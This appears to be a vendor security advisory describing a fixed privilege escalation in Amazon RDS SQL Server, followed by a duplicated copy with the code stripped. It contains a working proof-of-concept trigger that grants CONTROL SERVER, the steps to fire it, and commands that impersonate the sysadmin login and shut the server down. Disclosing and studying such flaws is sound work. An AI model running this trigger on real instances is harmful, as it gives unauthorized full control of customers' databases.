Summary
An arbitrary code can be executed on a managed Amazon RDS SQL Server instance with sysadmin privileges via a database-level trigger running under the context of the user that calls the trigger.
Severity
Moderate - The vulnerability allows for arbitrary code to be executed on a managed Amazon RDS SQL server with sysadmin privileges which can be leveraged to take control of the server. This vulnerability cannot be used to cause cross-customer impact / database host breakout.
Proof of Concept
Below is an example of a trigger that runs an arbitrary code with unrestricted access. The trigger grants CONTROL SEVER
permission to a customer user. CONTROL SERVER
permission allows a login to impersonate any login on the server including the rdsa
login that has sysadmin permissions. Effectively, it grants sysadmin permissions without adding the target login to the sysadmin
server role.
The trigger is set up to be called when a database user is denied permissions (FOR DENY_DATABASE). RDS uses rdsa
login with sysadmin permissions to deny permissions to a database user when it is added to the db_owner
database role.
The trigger will be executed under the context of the login that calls the trigger (EXECUTE AS CALLER). In our case, it will be called under the context of the rdsa
login, which has sysadmin permissions.
CREATE OR ALTER TRIGGER evil_trigger ON DATABASE
WITH EXECUTE AS CALLER, ENCRYPTION
FOR DENY_DATABASE
AS
BEGIN
DECLARE @sql NVARCHAR(MAX) ='DROP TRIGGER evil_trigger ON DATABASE;USE master;GRANT CONTROL SERVER TO admin WITH GRANT OPTION;';
EXEC (@sql);
END
Elevate Privileges
Option 1:
Create that trigger in a database of the target instance.
Create a user and add that user to the db_owner
database role:
CREATE USER test;
EXEC sp_addrolemember 'db_owner', 'test';
Option 2:
Create that trigger in a database on an instance. Create a backup of that database. Import that backup on the target instance:
exec msdb.dbo.rds_backup_database
@source_db_name='testdb',
@s3_arn_to_backup_to='arn:aws:s3:::bucket/testdb.bak';
Run code with elevated privileges
Execute an arbitrary command with sysadmin privileges:
EXECUTE AS LOGIN='rdsa';
SELECT SUSER_NAME() AS login, USER_NAME() AS db_user;
SHUTDOWN WITH NOWAIT;
Further Analysis
The following table and a database-level trigger can be used for identifying other event types that can be used for running arbitrary code with elevated privileges:
CREATE TABLE DDLEvents(
event_date DATETIME NOT NULL,
event_type NVARCHAR(64) NULL,
event_ddl NVARCHAR(max) NULL,
event_xml XML NULL,
database_name NVARCHAR(255) NULL,
[schema_name] NVARCHAR(255) NULL,
[object_name] NVARCHAR(255) NULL,
login_name NVARCHAR(255) NULL
);
ALTER TABLE [DDLEvents] ADD DEFAULT (GETDATE()) FOR event_date;
GO
CREATE OR ALTER TRIGGER protect_user ON DATABASE
WITH EXECUTE AS CALLER, ENCRYPTION
FOR DDL_DATABASE_LEVEL_EVENTS
AS
BEGIN
SET NOCOUNT ON;
DECLARE @EventData XML = EVENTDATA();
INSERT INTO DDLEvents
(
event_type,
event_ddl,
event_xml,
database_name,
schema_name,
object_name,
login_name
)
SELECT
@EventData.value('(/EVENT_INSTANCE/EventType)[1]', 'NVARCHAR(100)'),
@EventData.value('(/EVENT_INSTANCE/TSQLCommand)[1]', 'NVARCHAR(MAX)'),
@EventData,
DB_NAME(),
@EventData.value('(/EVENT_INSTANCE/SchemaName)[1]', 'NVARCHAR(255)'),
@EventData.value('(/EVENT_INSTANCE/ObjectName)[1]', 'NVARCHAR(255)'),
SUSER_SNAME();
END
Attack scenario 1:
Prerequisites:
(Option 1) An attacker has access to the instance, they have permission to import a database to the instance and they have permission to write to an S3 bucket associated with the instance.
(Option 2) There is a pipeline or a person that imports a database to an instance. An attacker has access to one of the segments of the pipeline which allows them to create a trigger in a database or replace a backup file.
(Option 3) An attacker convinces someone with required permissions to import a database.
The attacker prepares a backup of a database. That database has a trigger with the code that should be executed.
The attacker imports that backup to a SQL Server instance manually or through a data ingestion pipeline; or convinces someone to import the backup.
The code is executed with sysadmin permissions. Highest permissions which aren’t available to any customer user.
Attack scenario 2:
Prerequisites:
An attacker has permission to create a database trigger in a database on the target instance.
(Option 1) Create a database user and add it to the db_owner database role or wait for someone else to do it.
(Option 2) Run an RDS stored procedure that triggers the database trigger under the context of a user with sysadmin privileges or wait for someone to do that.
The code is executed with sysadmin permissions. Highest permissions which aren’t available to any customer user.
A login with sysadmin privileges has unrestricted access to SQL Server. They aren’t available to customers on a managed instance.An attacker with those privileges can:
Drop or change any data.
Run any RDS stored procedure enabled on the instance including exporting any data to an S3 bucket associated with the instance.
Create logins with any permissions and grant them access to the instance. If the attacker didn’t have direct access to the instance and they can connect to the server, they can create a login to connect to the instance.
If the instance is running on Windows, the attacker might use extended procedures, OLE automation or unsafe CLR to run command line commands, manipulate registry or work with OLE automation objects with permissions of the user that runs the SQL Server service.
Timeline
Date reported: 11/01/2022
Date fixed: 01/27/2023
Date disclosed: 01/30/2023
Summary
An arbitrary code can be executed on a managed Amazon RDS SQL Server instance with sysadmin privileges via a database-level trigger running under the context of the user that calls the trigger.
Severity
Moderate - The vulnerability allows for arbitrary code to be executed on a managed Amazon RDS SQL server with sysadmin privileges which can be leveraged to take control of the server. This vulnerability cannot be used to cause cross-customer impact / database host breakout.
Proof of Concept
Below is an example of a trigger that runs an arbitrary code with unrestricted access. The trigger grants
CONTROL SEVER
permission to a customer user.CONTROL SERVER
permission allows a login to impersonate any login on the server including therdsa
login that has sysadmin permissions. Effectively, it grants sysadmin permissions without adding the target login to thesysadmin
server role.The trigger is set up to be called when a database user is denied permissions (FOR DENY_DATABASE). RDS uses
rdsa
login with sysadmin permissions to deny permissions to a database user when it is added to thedb_owner
database role.The trigger will be executed under the context of the login that calls the trigger (EXECUTE AS CALLER). In our case, it will be called under the context of the
rdsa
login, which has sysadmin permissions.Elevate Privileges
Option 1:
Create that trigger in a database of the target instance.
Create a user and add that user to the
db_owner
database role:Option 2:
Create that trigger in a database on an instance. Create a backup of that database. Import that backup on the target instance:
Run code with elevated privileges
Execute an arbitrary command with sysadmin privileges:
Further Analysis
The following table and a database-level trigger can be used for identifying other event types that can be used for running arbitrary code with elevated privileges:
Attack scenario 1:
Prerequisites:
(Option 1) An attacker has access to the instance, they have permission to import a database to the instance and they have permission to write to an S3 bucket associated with the instance.
(Option 2) There is a pipeline or a person that imports a database to an instance. An attacker has access to one of the segments of the pipeline which allows them to create a trigger in a database or replace a backup file.
(Option 3) An attacker convinces someone with required permissions to import a database.
The attacker prepares a backup of a database. That database has a trigger with the code that should be executed.
The attacker imports that backup to a SQL Server instance manually or through a data ingestion pipeline; or convinces someone to import the backup.
The code is executed with sysadmin permissions. Highest permissions which aren’t available to any customer user.
Attack scenario 2:
Prerequisites:
An attacker has permission to create a database trigger in a database on the target instance.
(Option 1) Create a database user and add it to the db_owner database role or wait for someone else to do it.
(Option 2) Run an RDS stored procedure that triggers the database trigger under the context of a user with sysadmin privileges or wait for someone to do that.
The code is executed with sysadmin permissions. Highest permissions which aren’t available to any customer user.
A login with sysadmin privileges has unrestricted access to SQL Server. They aren’t available to customers on a managed instance.An attacker with those privileges can:
Drop or change any data.
Run any RDS stored procedure enabled on the instance including exporting any data to an S3 bucket associated with the instance.
Create logins with any permissions and grant them access to the instance. If the attacker didn’t have direct access to the instance and they can connect to the server, they can create a login to connect to the instance.
If the instance is running on Windows, the attacker might use extended procedures, OLE automation or unsafe CLR to run command line commands, manipulate registry or work with OLE automation objects with permissions of the user that runs the SQL Server service.
Timeline
Date reported: 11/01/2022
Date fixed: 01/27/2023
Date disclosed: 01/30/2023